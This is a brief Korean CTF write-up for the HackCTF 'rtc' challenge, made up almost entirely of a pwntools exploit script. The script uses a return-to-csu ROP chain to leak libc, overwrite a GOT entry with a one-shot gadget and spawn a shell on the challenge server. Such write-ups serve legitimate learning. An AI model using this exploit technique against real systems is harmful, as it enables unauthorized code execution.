[HackCTF] rtc

딱히 올릴려는 생각은 없었는데

원샷가젯을 처음 사용해봐서 올린다.  @~@

 

이전 rtc글과는 다른점은 페이로드가 짧아졌다는 점?

 

from pwn import * 
 
context.log_level = 'debug' 
 
p = remote('ctf.j0n9hyun.xyz', 3025) 
e = ELF('./rtc') 
l = e.libc 
 
setcsu = 0x00000000004006BA 
csu_call = 0x00000000004006A0 
one_offset = 0xf1147 
 
write_got = e.got['write'] 
read_got = e.got['read'] 
 
p.recv() 
 
pay = "A"*0x48 
pay += p64(setcsu) 
pay += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) 
pay += p64(csu_call) 
 
pay += "B"*8 
pay += p64(0) + p64(1) + p64(read_got) + p64(8) + p64(write_got) + p64(0) 
pay += p64(csu_call) 
 
pay += p64(0) * 3 + p64(write_got) + p64(0) * 3 
pay += p64(csu_call) 
 
 
p.send(pay) 
 
tmp = u64(p.recv()) 
base = tmp - l.symbols['write'] 
one_shot = base + one_offset 
 
log.info(hex(tmp)) 
log.info(hex(base)) 
log.info(hex(one_shot)) 
 
p.send(p64(one_shot)) 
 
p.interactive()